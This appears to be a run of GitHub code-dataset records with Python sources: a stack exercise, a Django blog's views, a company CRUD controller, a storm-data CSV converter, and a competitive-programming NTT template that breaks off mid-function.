errors'''\n def __init__(self, *args, **kwargs):\n Exception.__init__(self, *args, **kwargs)\n\ndef rev_string_simple(my_str):\n '''Reverse characters in a string without using a stack'''\n return my_str[::-1]\n\ndef rev_string_stack(my_str):\n '''Reverse characters in a string using a stack'''\n new_str = Stack()\n for i in my_str:\n new_str.push(i)\n rev_str = []\n while not new_str.is_empty():\n rev_str.append(new_str.pop())\n return ''.join(rev_str)\n\ndef par_checker(line):\n '''Textbook implementation'''\n s = Stack()\n balanced = True\n i = 0\n while i < len(line) and balanced:\n symbol = line[i]\n if symbol == \"(\":\n s.push(symbol)\n else:\n if s.is_empty():\n balanced = False\n else:\n s.pop()\n i = i + 1\n if balanced and s.is_empty():\n return True\n else:\n return False\n\ndef par_checker_file(filename):\n '''Check expresstions in the file'''\n with open(filename, 'r') as file_in:\n for line in file_in:\n line = line.strip()\n if par_checker(line) == True:\n print(line + ' ' + 'is balanced')\n else:\n print(line + ' ' + 'is NOT balanced')\n\ndef base_converter(dec_num, base):\n '''Convert any decimal number to any base'''\n # hex_digits = {10: 'A', 11: 'B', 12: 'C', 13: 'D', 14: 'E', 15: 'F'}\n digits = '0123456789ABCDEF'\n remStack = Stack()\n if base in [2,8,16]:\n while dec_num > 0:\n rem = dec_num % base\n remStack.push(rem)\n dec_num = dec_num // base\n\n new_str = ''\n while not remStack.is_empty():\n new_str = new_str + digits[remStack.pop()]\n return new_str\n\ndef rpn_calc(postfix_expr):\n '''Evaluate a postfix expression'''\n operandStack = Stack()\n tokenList = postfix_expr.split()\n for token in tokenList:\n print(token)\n if token in '123456789':\n operandStack.push(int(token))\n elif token not in ['+','-','*','/']:\n raise TokenError(\"Unknown token: {}\".format(token))\n else:\n if operandStack.size() > 1:\n operand2 = operandStack.pop()\n operand1 = operandStack.pop()\n result = do_math(token,operand1,operand2)\n operandStack.push(result)\n else:\n raise StackError('Stack is empty')\n if operandStack.size() == 1:\n return operandStack.pop()\n else:\n raise StackError('Stack is not empty')\n\n\ndef do_math(op, op1, op2):\n if op == \"+\":\n return op1 + op2\n elif op == \"-\":\n return op1 - op2\n elif op == \"*\":\n return op1 * op2\n elif op == \"/\":\n return op1 / op2\n else:\n raise TokenError(\"Unknown operation: {}\".format(op))\n","repo_name":"thu2pham/DataStructures","sub_path":"exercises/stacks/stacks.py","file_name":"stacks.py","file_ext":"py","file_size_in_byte":3461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"16280914432","text":"import re\nimport logging\n\n# Create your views here.\nfrom django import forms\nfrom django.utils.text import slugify\nfrom django.http import HttpResponse, HttpResponseRedirect, HttpResponseNotFound, HttpResponseForbidden\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import get_object_or_404, render\nfrom django.core.paginator import Paginator, PageNotAnInteger\nfrom django.contrib.auth.models import User\nfrom django.urls import reverse, reverse_lazy\nfrom django.contrib import messages\nfrom django.views.decorators.cache import cache_page, never_cache\nfrom django.template import RequestContext, loader\nfrom django.db.models import Count\nfrom django.forms import ModelForm\n\nfrom django.core.cache import caches\n\nfrom django.utils.text import slugify\nfrom django.views.generic import View\nfrom django.views.generic.detail import DetailView\nfrom django.views.generic.list import ListView\nfrom django.views.generic.edit import DeleteView, UpdateView, CreateView, FormView\nfrom django.utils import timezone\nfrom django.conf import settings\nfrom django.forms.formsets import formset_factory\nfrom django.forms.models import modelform_factory\n\nfrom braces.views import LoginRequiredMixin\n\nfrom articles.forms import ArticleForm, ArticleImageForm\nfrom articles.models import Article, ArticleImage, ArticleTag\n\nlogger = logging.getLogger(__name__)\n\ncache = caches['default']\n\ndef _get_images_in_text(text):\n m = re.findall(r\"\\{image:(?P\\d+)\\}\", text)\n ret = []\n for number in m:\n ret.append(int(number))\n return ret\n\nclass ArticleForm(ModelForm):\n class Meta:\n model = Article\n fields = ('title', 'subheading', 'body', 'image', 'slug', 'published', 'is_page')\n\n def __init__(self, *args, **kwargs):\n super(ArticleForm, self).__init__(*args, **kwargs)\n\n if self.instance.pk:\n tags = \", \".join([x.title for x in self.instance.tags.all()])\n else:\n tags = \"\"\n self.fields['tags_text'] = forms.CharField(label=\"Tags\", required=False, initial=tags)\n\n def clean_tags_text(self):\n raw = self.cleaned_data['tags_text']\n\n csv = []\n for tag in raw.split(','):\n if len(tag.strip()) > 0:\n csv.append(tag.strip())\n\n # Deduplicate\n self.cleaned_data['tags_text'] = list(set(csv))\n return self.cleaned_data['tags_text']\n\n def save(self, force_insert=False, force_update=False, commit=True):\n article = super(ArticleForm, self).save(commit=True) # have to save to access article.tags\n\n # Get the tags we want\n tags_text_list = self.cleaned_data['tags_text']\n\n # See which ones exist\n tags = ArticleTag.objects.filter(title__in=tags_text_list)\n\n # Start from scratch\n article.tags.clear()\n\n # Add existing tags\n for tag in tags:\n article.tags.add(tag.pk)\n\n # Create new ones\n for tag in tags_text_list:\n if tag not in [t.title for t in tags]:\n # Create tag\n article.tags.create(title=tag, slug=slugify(tag))\n\n if commit:\n article.save()\n return article\n\nclass ArticleCreateView(LoginRequiredMixin, CreateView):\n model = Article\n form_class = ArticleForm\n template_name = 'articles/article_form.html'\n\n def form_valid(self, form):\n messages.add_message(self.request, messages.INFO, 'Article saved')\n form.instance.author = self.request.user\n return super(ArticleCreateView, self).form_valid(form)\n\nclass ArticleUpdateView(LoginRequiredMixin, UpdateView):\n model = Article\n template_name = 'articles/article_form.html'\n form_class = ArticleForm\n # fields = ['title', 'subheading', 'body','image','slug','published','is_page', 'tags']\n context_object_name = 'article'\n\n def get_context_data(self, **kwargs):\n context = super(ArticleUpdateView, self).get_context_data(**kwargs)\n context['header_image'] = context[self.context_object_name].image\n return context\n\n def form_valid(self, form):\n messages.add_message(self.request, messages.INFO, 'Article updated')\n return super(ArticleUpdateView, self).form_valid(form)\n\nclass ArticleView(DetailView):\n template_name = 'articles/article.html'\n model = Article\n context_object_name = 'article'\n\n def get_queryset(self):\n queryset = super(ArticleView, self).get_queryset()\n\n if not self.request.user.is_authenticated:\n queryset = queryset.filter(published=True)\n\n return queryset.filter(is_page=False)\n\n def get_context_data(self, **kwargs):\n context = super(ArticleView, self).get_context_data( **kwargs)\n image_ids = _get_images_in_text(context[self.context_object_name].body)\n if len(image_ids) > 0:\n objs = ArticleImage.objects.filter(pk__in=image_ids)\n images = {}\n for i in objs:\n images[i.pk] = i\n\n body = context[self.context_object_name].body\n for i in image_ids:\n body = body.replace('{image:%d}' % i, '![%s](%s)' % (images[i].title, images[i].image.url))\n\n context['body'] = body\n context['header_image'] = context[self.context_object_name].image\n return context\n\nclass PageView(DetailView):\n template_name = 'articles/page.html'\n model = Article\n context_object_name = 'page'\n\n def get_queryset(self):\n queryset = super(PageView, self).get_queryset()\n\n return queryset.filter(is_page=True).filter(published=True)\n\n def get_context_data(self, **kwargs):\n context = super(PageView, self).get_context_data( **kwargs)\n context['header_image'] = context[self.context_object_name].image\n return context\n\nclass ArticleDeleteView(LoginRequiredMixin, DeleteView):\n model = Article\n success_url = reverse_lazy('articles:list')\n context_object_name = 'article'\n\n def get_context_data(self, **kwargs):\n context = super(ArticleDeleteView, self).get_context_data( **kwargs)\n\n context['header_image'] = context[self.context_object_name].image\n return context\n\nclass ArticleListView(ListView):\n model = Article\n template_name = 'articles/article_list.html'\n context_object_name = 'articles'\n\n def get_queryset(self):\n queryset = super(ArticleListView, self).get_queryset()\n\n return queryset.filter(is_page=False).filter(published=True)\n\n def get_context_data(self, **kwargs):\n context = super(ArticleListView, self).get_context_data(**kwargs)\n page = Article.objects.filter(slug='articles').filter(published=True).filter(is_page=True)\n if len(page) > 0:\n context['page'] = page[0]\n context['header_image'] = page[0].image\n\n logger.warn(\"Horribly inefficient query here\")\n pt = cache.get('popular_tags')\n if pt is None:\n pt = []\n for tag in ArticleTag.objects.all():\n pt.append({\n 'tag': tag,\n 'count': tag.article_set.count()\n })\n cache.set('popular_tags', pt, 3600)\n context['popular_tags'] = pt\n\n return context\n\nclass PageListView(LoginRequiredMixin, ListView):\n model = Article\n template_name = 'articles/article_list.html'\n context_object_name = 'articles'\n\n def get_queryset(self):\n queryset = super(PageListView, self).get_queryset()\n\n return queryset.filter(is_page=True)\n\nclass HomePageView(ListView):\n model = Article\n template_name = 'home.html'\n context_object_name = 'articles'\n\n def get_queryset(self):\n queryset = super(HomePageView, self).get_queryset()\n\n return queryset.filter(is_page=False).filter(published=True)[:5]\n\n def get_context_data(self, **kwargs):\n context = super(HomePageView, self).get_context_data(**kwargs)\n home_article = Article.objects.filter(slug='home').filter(published=True).filter(is_page=True)\n if len(home_article) > 0:\n context['home_article'] = home_article[0]\n context['header_image'] = home_article[0].image\n\n return context\n\nclass ArticleImageCreateView(LoginRequiredMixin, CreateView):\n model = ArticleImage\n template_name = 'articles/article_image_form.html'\n fields = ['image', 'title', 'article']\n\nclass ArticleImageUpdateView(LoginRequiredMixin, UpdateView):\n model = ArticleImage\n template_name = 'articles/article_image_form.html'\n fields = ['title']\n context_object_name = 'image'\n\n def get_context_data(self, **kwargs):\n context = super(ArticleImageUpdateView, self).get_context_data(**kwargs)\n context['header_image'] = context[self.context_object_name].image\n return context\n\nclass ArticleImageListView(LoginRequiredMixin, ListView):\n model = ArticleImage\n template_name = 'articles/article_image_list.html'\n context_object_name = 'images'\n\n def get_queryset(self):\n queryset = super(ArticleImageListView, self).get_queryset()\n\n return queryset.order_by('-pk')\n\nclass ArticleImageView(DetailView):\n template_name = 'articles/article_image.html'\n model = ArticleImage\n context_object_name = 'image'\n\nclass ArticleImageDeleteView(LoginRequiredMixin, DeleteView):\n model = ArticleImage\n success_url = reverse_lazy('articles:image-list')\n context_object_name = 'image'\n\n def get_context_data(self, **kwargs):\n context = super(ArticleImageDeleteView, self).get_context_data( **kwargs)\n\n context['header_image'] = context[self.context_object_name].image\n return context\n\nclass ArticleTagView(ListView):\n model = Article\n template_name = 'articles/tag.html'\n context_object_name = 'articles'\n\n def get_queryset(self):\n queryset = super(ArticleTagView, self).get_queryset()\n return queryset.filter(tags__slug=self.kwargs['slug']).filter(is_page=False).filter(published=True)\n\n def get_context_data(self, **kwargs):\n context = super(ArticleTagView, self).get_context_data(**kwargs)\n context['tag'] = get_object_or_404(ArticleTag, slug=self.kwargs['slug'])\n\n return context","repo_name":"tobyontour/basic-blog","sub_path":"articles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10215,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"31446020938","text":"from django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom myapp.modelss.Company import Company\n\n@csrf_exempt\n# This is add company funtion\ndef add_companies(request):\n #I am using postman to send a get request with json componenets\n if request:\n data = request.POST\n #json components are below, The company_id is auto incremented\n company_name = data.get('company_name')\n company_address = data.get('company_address')\n \n #if company name already exists in the database it will prevent in regestaring comapny name\n \n \n company = Company(company_name=company_name, company_address=company_address)\n company.save()\n return JsonResponse({'status': 'success',\n 'company_id':company.id}, status = 201)\n else:\n return JsonResponse({'status': 'error'}, status = 400)\n\n#This is for updating the company information such as name and address\ndef update_companies(request, id):\n if request:\n data = request.POST\n company_id = id\n company_name = data.get('company_name')\n company_address = data.get('company_address')\n \n try:\n company = Company.objects.get(id = company_id)\n except Company.DoesNotExist:\n return JsonResponse({'status':'error', 'message':'Company does not exists'}, status = 401)\n company.company_name = company_name\n company.company_address = company_address\n company.save()\n return JsonResponse({'status':'success'}, status = 201)\n else:\n return JsonResponse({'status':'error'}, status = 400)\n\n#This is for pulling the company information from the database through the comapny id\ndef get_companies(request, id):\n if request:\n company_id = id\n if company_id:\n try: \n \n company = Company.objects.get(id = company_id)\n return JsonResponse({\n 'company_name':company.company_name,\n 'company_address': company.company_address,\n 'company_id': company.id\n })\n except:\n return JsonResponse({\n 'status':'error',\n 'message':'Company information cannot be retrive due to company id and the request id is not matching.'\n },status = 401)\n else:\n return JsonResponse({'status':'error',\n 'message':'Missing Company_id'},status = 404)\n else:\n return JsonResponse({'status':'error'},status = 400)\n\n\n","repo_name":"ehitimum/djangoFirst","sub_path":"myapp/controllers/Company.py","file_name":"Company.py","file_ext":"py","file_size_in_byte":2643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"28515236254","text":"from shapely.geometry import shape\nfrom shapely.geometry import Point\nfrom shapely.wkb import dumps\nimport csv\n\nimport pprint\n\nif __name__ == '__main__':\n\n # read a line from the file\n with open('../data/StormEvents_locations-ftp_v1.0_d2018_c20191217.csv', 'r' ) as input_file:\n csv_file = csv.DictReader(input_file)\n with open(\"../output/storm_locations_copy.txt\", \"w\") as output:\n for i, line in enumerate(csv_file):\n if i > 0:\n output.write(line['EPISODE_ID'] + ',' + line['EVENT_ID'] + ',' + line['LOCATION_INDEX'] + ',' + line['RANGE'] + ',\"' + line['AZIMUTH'] + '\",\"')\n output.write(line['LOCATION'] + '\",' + line['LATITUDE'] + ',' + line['LONGITUDE'] + ',')\n lat = float(line['LATITUDE'])\n lon = float(line['LONGITUDE'])\n\n the_point = Point(lon, lat)\n output.write(dumps(the_point, hex=True) + '\\n')\n\n print(\"done\")\n","repo_name":"CrunchyData/crunchy-demo-data","sub_path":"storm_data/python/storm_locations.py","file_name":"storm_locations.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"60"} +{"seq_id":"71083043070","text":"from __future__ import division, print_function\nimport os,sys\nfrom io import BytesIO, IOBase\nfrom random import randint, randrange\nif sys.version_info[0] < 3:\n from __builtin__ import xrange as range\n from future_builtins import ascii, filter, hex, map, oct, zip\n\n\nfrom math import ceil, floor, factorial, log10\n# from math import log,sqrt,cos,tan,sin,radians\nfrom bisect import bisect_left, bisect_right\nfrom collections import deque, Counter, defaultdict\n# from bisect import bisect,bisect_left,bisect_right,insort,insort_left,insort_right\n# from decimal import *\n# from heapq import nsmallest, nlargest, heapify, heappop, heappush, heapreplace\n# from collections import OrderedDict\n# from itertools import permutations\n\n\n# INF = float(\"inf\")\nINF = 9223372036854775807\nPI = 3.141592653589793\nR = randrange(2, 1 << 32)\n# R = 0 # Enable this for debugging of dict keys in myDict\n\n# ========================= Main ==========================\n\nM=998244353\n# def make_nCr_mod(max_n=int(6e6+5), mod=M):\n# max_n = min(max_n, mod - 1)\n\n# fact, inv_fact = [0] * (max_n + 1), [0] * (max_n + 1)\n# fact[0] = 1\n# for i in range(max_n):\n# fact[i + 1] = fact[i] * (i + 1) % mod\n\n# inv_fact[-1] = pow(fact[-1], mod - 2, mod)\n# for i in reversed(range(max_n)):\n# inv_fact[i] = inv_fact[i + 1] * (i + 1) % mod\n\n# def nCr_mod(n, r):\n# if n < r:\n# return 0\n# res = 1\n# while n or r:\n# a, b = n % mod, r % mod\n# if a < b:\n# return 0\n# res = res * fact[a] % mod * inv_fact[b] % mod * inv_fact[a - b] % mod\n# n //= mod\n# r //= mod\n# return res\n\n# return nCr_mod\n\n\n# # nCr = make_nCr_mod()\n\n# MOD = 998244353\n# MODF = float(MOD)\n# ROOT = 3.0\n\n# MAGIC = 6755399441055744.0\n# SHRT = 65536.0\n\n# MODF_INV = 1.0 / MODF\n# SHRT_INV = 1.0 / SHRT\n\n# fround = lambda x: (x + MAGIC) - MAGIC\n# fmod = lambda a: a - MODF * fround(MODF_INV * a)\n# fmul = lambda a, b, c=0.0: fmod(fmod(a * SHRT) * fround(SHRT_INV * b) + a * (b - SHRT * fround(b * SHRT_INV)) + c)\n\n\n# def fpow(x, y):\n# if y == 0:\n# return 1.0\n\n# res = 1.0\n# while y > 1:\n# if y & 1 == 1:\n# res = fmul(res, x)\n# x = fmul(x, x)\n# y >>= 1\n\n# return fmul(res, x)\n\n\n# def ntt(a, inv=False):\n# n = len(a)\n# w = [1.0] * (n >> 1)\n\n# w[1] = fpow(ROOT, (MOD - 1) // n)\n# if inv:\n# w[1] = fpow(w[1], MOD - 2)\n\n# for i in range(2, (n >> 1)):\n# w[i] = fmul(w[i - 1], w[1])\n\n# rev = [0] * n\n# for i in range(n):\n# rev[i] = rev[i >> 1] >> 1\n# if i & 1 == 1:\n# rev[i] |= n >> 1\n# if i < rev[i]:\n# a[i], a[rev[i]] = a[rev[i]], a[i]\n\n# step = 2\n# while step <= n:\n# half, diff = step >> 1, n // step\n# for i in range(0, n, step):\n# pw = 0\n# for j in range(i, i + half):\n# v = fmul(w[pw], a[j + half])\n# a[j + half] = a[j] - v\n# a[j] += v\n# pw += diff\n\n# step <<= 1\n\n# if inv:\n# inv_n = fpow(n, MOD - 2)\n# for i in range(n):\n# a[i] = round(fmul(a[i], inv_n))\n\n\n# def ntt_conv(a, b):\n# s = len(a) + len(b) - 1\n# n = 1 << s.bit_length()\n\n# a.extend([0.0] * (n - len(a)))\n# b.extend([0.0] * (n - len(b)))\n\n# ntt(a)\n# ntt(b)\n\n# for i in range(n):\n# a[i] = fmul(a[i], b[i])\n\n# ntt(a, True)\n# del a[s:]\n\n\n\n## ==========================================\n# import sys\n# readline=sys.stdin.readline\n# class FPS:\n# sum_e = (\n# 911660635, 509520358, 369330050, 332049552, 983190778, 123842337, 238493703, 975955924, 603855026, 856644456,\n# 131300601, 842657263, 730768835, 942482514, 806263778, 151565301, 510815449, 503497456, 743006876, 741047443,\n# 56250497)\n# sum_ie = (\n# 86583718, 372528824, 373294451, 645684063, 112220581, 692852209, 155456985, 797128860, 90816748, 860285882,\n# 927414960, 354738543, 109331171, 293255632, 535113200, 308540755, 121186627, 608385704, 438932459, 359477183,\n# 824071951)\n# mod = 998244353\n# Func = [0]\n\n# def __init__(self, L):\n# self.Func = [x % self.mod for x in L]\n\n# def butterfly(self, a):\n# n = len(a)\n# h = (n - 1).bit_length()\n# for ph in range(1, h + 1):\n# w = 1 << (ph - 1)\n# p = 1 << (h - ph)\n# now = 1\n# for s in range(w):\n# offset = s << (h - ph + 1)\n# for i in range(p):\n# l = a[i + offset]\n# r = a[i + offset + p] * now\n# r %= self.mod\n# a[i + offset] = l + r\n# a[i + offset] %= self.mod\n# a[i + offset + p] = l - r\n# a[i + offset + p] %= self.mod\n# now *= self.sum_e[(~s & -~s).bit_length() - 1]\n# now %= self.mod\n# return a\n\n# def butterfly_inv(self, a):\n# n = len(a)\n# h = (n - 1).bit_length()\n# for ph in range(h, 0, -1):\n# w = 1 << (ph - 1)\n# p = 1 << (h - ph)\n# inow = 1\n# for s in range(w):\n# offset = s << (h - ph + 1)\n# for i in range(p):\n# l = a[i + offset]\n# r = a[i + offset + p]\n# a[i + offset] = l + r\n# a[i + offset] %= self.mod\n# a[i + offset + p] = (l - r) * inow\n# a[i + offset + p] %= self.mod\n# inow *= self.sum_ie[(~s & -~s).bit_length() - 1]\n# inow %= self.mod\n# return a\n\n# def __mul__(self, other):\n# if type(other) == int:\n# ret = [(x * other) % self.mod for x in self.Func]\n# return FPS(ret)\n# a = self.Func\n# b = other.Func\n# n = len(a);\n# m = len(b)\n# if not (a) or not (b):\n# return FPS([])\n# if min(n, m) <= 40:\n# if n < m:\n# n, m = m, n\n# a, b = b, a\n# res = [0] * (n + m - 1)\n# for i in range(n):\n# for j in range(m):\n# res[i + j] += a[i] * b[j]\n# res[i + j] %= self.mod\n# return FPS(res)\n# z = 1 << ((n + m - 2).bit_length())\n# a = a + [0] * (z - n)\n# b = b + [0] * (z - m)\n# a = self.butterfly(a)\n# b = self.butterfly(b)\n# c = [0] * z\n# for i in range(z):\n# c[i] = (a[i] * b[i]) % self.mod\n# self.butterfly_inv(c)\n# iz = pow(z, self.mod - 2, self.mod)\n# for i in range(n + m - 1):\n# c[i] = (c[i] * iz) % self.mod\n# return FPS(c[:n + m - 1])\n\n# def __imul__(self, other):\n# self = self * other\n# return self\n\n# def __add__(self, other):\n# res = [0 for i in range(max(len(self.Func), len(other.Func)))]\n# for i, x in enumerate(self.Func):\n# res[i] += x\n# res[i] %= self.mod\n# for i, x in enumerate(other.Func):\n# res[i] += x\n# res[i] %= self.mod\n# return FPS(res)\n\n# def __iadd__(self, other):\n# self = (self + other)\n# return self\n\n# def __sub__(self, other):\n# res = [0 for i in range(max(len(self.Func), len(other.Func)))]\n# for i, x in enumerate(self.Func):\n# res[i] += x\n# res[i] %= self.mod\n# for i, x in enumerate(other.Func):\n# res[i] -= x\n# res[i] %= self.mod\n# return FPS(res)\n\n# def __isub__(self, other):\n# self = self - other\n# return self\n\n# def inv(self, d=-1):\n# n = len(self.Func)\n# assert n != 0 and self.Func[0] != 0\n# if d == -1: d = n\n# assert d > 0\n# res = [pow(self.Func[0], self.mod - 2, self.mod)]\n# while (len(res) < d):\n# m = len(res)\n# f = [self.Func[i] for i in range(min(n, 2 * m))]\n# r = res[:]\n\n# if len(f) < 2 * m:\n# f += [0] * (2 * m - len(f))\n# elif len(f) > 2 * m:\n# f = f[:2 * m]\n# if len(r) < 2 * m:\n# r += [0] * (2 * m - len(r))\n# elif len(r) > 2 * m:\n# r = r[:2 * m]\n# f = self.butterfly(f)\n# r = self.butterfly(r)\n# for i in range(2 * m):\n# f[i] *= r[i]\n# f[i] %= self.mod\n# f = self.butterfly_inv(f)\n# f = f[m:]\n# if len(f) < 2 * m:\n# f += [0] * (2 * m - len(f))\n# elif len(f) > 2 * m:\n# f = f[:2 * m]\n# f = self.butterfly(f)\n# for i in range(2 * m):\n# f[i] *= r[i]\n# f[i] %= self.mod\n# f = self.butterfly_inv(f)\n# iz = pow(2 * m, self.mod - 2, self.mod)\n# iz *= -iz\n# iz %= self.mod\n# for i in range(m):\n# f[i] *= iz\n# f[i] %= self.mod\n# res += f[:m]\n# return FPS(res[:d])\n\n# def __truediv__(self, other):\n# if type(other) == int:\n# invother = pow(other, self.mod - 2, self.mod)\n# ret = [(x * invother) % self.mod for x in self.Func]\n# return FPS(ret)\n# assert (other.Func[0] != 0)\n# return self * (other.inv())\n\n# def __itruediv__(self, other):\n# self = self / other\n# return self\n\n# def __lshift__(self, d):\n# n = len(self.Func)\n# self.Func = [0] * d + self.Func\n# return FPS(self.Func[:n])\n\n# def __ilshift__(self, d):\n# self = self << d\n# return self\n\n# def __rshift__(self, d):\n# n = len(self.Func)\n# self.Func = self.Func[min(n, d):]\n# self.Func += [0] * (n - len(self.Func))\n# return FPS(self.Func)\n\n# def __irshift__(self, d):\n# self = self >> d\n# return self\n\n# def __str__(self):\n# return f'FPS({self.Func})'\n\n# def diff(self):\n# n = len(self.Func)\n# ret = [0 for i in range(max(0, n - 1))]\n# for i in range(1, n):\n# ret[i - 1] = (self.Func[i] * i) % self.mod\n# return FPS(ret)\n\n# def integral(self):\n# n = len(self.Func)\n# ret = [0 for i in range(n + 1)]\n# for i in range(n):\n# ret[i + 1] = self.Func[i] * pow(i + 1, self.mod - 2, self.mod) % self.mod\n# return FPS(ret)\n\n# def log(self, deg=-1):\n# assert self.Func[0] == 1\n# n = len(self.Func)\n# if deg == -1: deg = n\n# return (self.diff() * self.inv()).integral()\n\n# def mod_sqrt(self, a):\n# p = self.mod\n# assert 0 <= a and a < p\n# if a < 2: return a\n# if pow(a, (p - 1) // 2, p) != 1: return -1\n# b = 1;\n# one = 1\n# while (pow(b, (p - 1) >> 1, p) == 1):\n# b += one\n# m = p - 1;\n# e = 0\n# while (m % 2 == 0):\n# m >>= 1\n# e += 1\n# x = pow(a, (m - 1) >> 1, p)\n# y = (a * x * x) % p\n# x *= a;\n# x %= p\n# z = pow(b, m, p)\n# while (y != 1):\n# j = 0\n# t = y\n# while (t != one):\n# j += 1\n# t *= t\n# t %= p\n# z = pow(z, 1 << (e - j - 1), p)\n# x *= z\n# x %= p\n# z *= z\n# z %= p\n# y *= z\n# y %= p\n# e = j\n# return x\n\n# def sqrt(self, deg=-1):\n# n = len(self.Func)\n# if deg == -1: deg = n\n# if n == 0: return FPS([0 for i in range(deg)])\n# if self.Func[0] == 0:\n# for i in range(1, n):\n# if self.Func[i] != 0:\n# if i & 1: return FPS([])\n# if deg - i // 2 <= 0: break\n# ret = (self >> i).sqrt(deg - i // 2)\n# if len(ret.Func) == 0: return FPS([])\n# ret = ret << (i // 2)\n# if len(ret.Func) < deg:\n# ret.Func += [0] * (deg - len(ret.Func))\n# return ret\n# return FPS([0] * deg)\n# sqr = self.mod_sqrt(self.Func[0])\n# if sqr == -1: return FPS([])\n# assert sqr * sqr % self.mod == self.Func[0]\n# ret = FPS([sqr])\n# inv2 = (self.mod + 1) // 2\n# i = 1\n# while (i < deg):\n# ret = (ret + FPS(self.Func[:i << 1]) * ret.inv(i << 1)) * inv2\n# i <<= 1\n# return FPS(ret.Func[:deg])\n\n# def resize(self, deg):\n# if len(self.Func) < deg:\n# return FPS(self.Func + [0] * (deg - len(self.Func)))\n# elif len(self.Func) > deg:\n# return FPS(self.Func[:deg])\n# else:\n# return self\n\n# def exp(self, deg=-1):\n# n = len(self.Func)\n# assert n > 0 and self.Func[0] == 0\n# if deg == -1: deg = n\n# assert deg >= 0\n# g = [1]\n# g_fft = [1, 1]\n# self.Func[0] = 1\n# self.resize(deg)\n# h_drv = self.diff()\n# m = 2\n# while (m < deg):\n# f_fft = self.Func[:m] + [0] * m\n# self.butterfly(f_fft)\n\n# # step 2.a\n# _g = [f_fft[i] * g_fft[i] % self.mod for i in range(m)]\n# self.butterfly_inv(_g)\n# _g = _g[m // 2:m] + [0] * (m // 2)\n# self.butterfly(_g)\n# for i in range(m):\n# _g[i] *= g_fft[i]\n# _g[i] %= self.mod\n# self.butterfly_inv(_g)\n# tmp = pow(-m * m, self.mod - 2, self.mod)\n# for i in range(m):\n# _g[i] *= tmp\n# _g[i] %= self.mod\n# g += _g[:m // 2]\n# # step 2.b--2.d\n# t = FPS(self.Func[:m]).diff()\n# r = h_drv.Func[:m - 1] + [0]\n# self.butterfly(r)\n# for i in range(m):\n# r[i] *= f_fft[i]\n# r[i] %= self.mod\n# self.butterfly_inv(r)\n# tmp = pow(-m, self.mod - 2, self.mod)\n# for i in range(m):\n# r[i] *= tmp\n# r[i] %= self.mod\n# t = (t + FPS(r)).Func\n# t = [t[-1]] + t\n# t.pop()\n# # step 2.e\n# if (2 * m < deg):\n# if len(t) < 2 * m:\n# t += [0] * (2 * m - len(t))\n# elif len(t) > 2 * m:\n# t = t[:2 * m]\n# self.butterfly(t)\n# g_fft = g[:]\n# if len(g_fft) < 2 * m:\n# g_fft += [0] * (2 * m - len(g_fft))\n# elif len(g_fft) > 2 * m:\n# g_fft = g_fft[:2 * m]\n# self.butterfly(g_fft)\n# for i in range(2 * m):\n# t[i] *= g_fft[i]\n# t[i] %= self.mod\n# self.butterfly_inv(t)\n# tmp = pow(2 * m, self.mod - 2, self.mod)\n# t = t[:m]\n# for i in range(m):\n# t[i] *= tmp\n# t[i] %= self.mod\n# else:\n# g1 = g[m // 2:]\n# s1 = t[m // 2:]\n# t = t[:m // 2]\n# g1 += [0] * (m - len(g1))\n# s1 += [0] * (m - len(s1))\n# t += [0] * (m - len(t))\n\n# self.butterfly(g1)\n# self.butterfly(t)\n# self.butterfly(s1)\n# for i in range(m):\n# s1[i] = (g_fft[i] * s1[i] + g1[i] * t[i]) % self.mod\n# for i in range(m):\n# t[i] *= g_fft[i]\n# t[i] %= self.mod\n# self.butterfly_inv(t)\n# self.butterfly_inv(s1)\n# for i in range(m // 2):\n# t[i + m // 2] += s1[i]\n# t[i + m // 2] %= self.mod\n# tmp = pow(m, self.mod - 2, self.mod)\n# for i in range(m):\n# t[i] *= tmp\n# t[i] %= self.mod\n# # step 2.f\n# v = self.Func[m:min(deg, 2 * m)] + [0] * (2 * m - min(deg, 2 * m))\n# t = [0] * (m - 1) + t\n# t = FPS(t).integral().Func\n# for i in range(m):\n# v[i] -= t[m + i]\n# v[i] %= self.mod\n# # step 2.g\n# if len(v) < 2 * m:\n# v += [0] * (2 * m - len(v))\n# else:\n# v = v[:2 * m]\n# self.butterfly(v)\n# for i in range(2 * m):\n# v[i] *= f_fft[i]\n# v[i] %= self.mod\n# self.butterfly_inv(v)\n# v = v[:m]\n# tmp = pow(2 * m, self.mod - 2, self.mod)\n# for i in range(m):\n# v[i] *= tmp\n# v[i] %= self.mod\n# # step 2.h\n# for i in range(min(deg - m, m)):\n# self.Func[m + i] = v[i]\n# m *= 2\n# return self\n\n# def powfps(self, k, deg=-1):\n# a = self.Func[:]\n# n = len(self.Func)\n# l = 0\n# while (l < len(a) and not a[l]):\n# l += 1\n# if l * k >= n:\n# return FPS([0] * n)\n# ic = pow(a[l], self.mod - 2, self.mod)\n# pc = pow(a[l], k, self.mod)\n# a = FPS([(a[i] * ic) % self.mod for i in range(l, len(a))]).log()\n# a *= k\n# a = a.exp()\n# a *= pc\n# a = [0] * (l * k) + a.Func[:n - l * k]\n# return FPS(a)\n\n\n## =============================================================================\n\n\nMOD = 998244353\nOMEGA = 3\n\ndef power(b, e):\n r = 1\n if e & 1:\n r = b\n while e:\n e >>= 1\n b = (b * b) % MOD\n if e & 1: r = (r * b) % MOD\n return r\n\ndef ntt(a, inv=False):\n n = len(a)\n rev = [0] * n\n for i in range(n):\n rev[i] = rev[i >> 1] >> 1\n if i & 1:\n rev[i] |= n >> 1\n if i < rev[i]:\n a[i], a[rev[i]] = a[rev[i]], a[i]\n\n ang = power(OMEGA, (MOD - 1) // n)\n if inv:\n ang = power(ang, MOD - 2);\n w = [0] * (n >> 1)\n w[0] = 1\n for i in range(1, n >> 1):\n w[i] = w[i-1] * ang % MOD\n \n step = 2\n while step <= n:\n half, diff = step >> 1, n // step\n for i in range(0, n, step):\n pw = 0\n for j in range(i, i + half):\n v = a[j + half] * w[pw] % MOD\n a[j + half] = (a[j] - v) % MOD\n a[j] = (a[j] + v) % MOD\n pw = (pw + 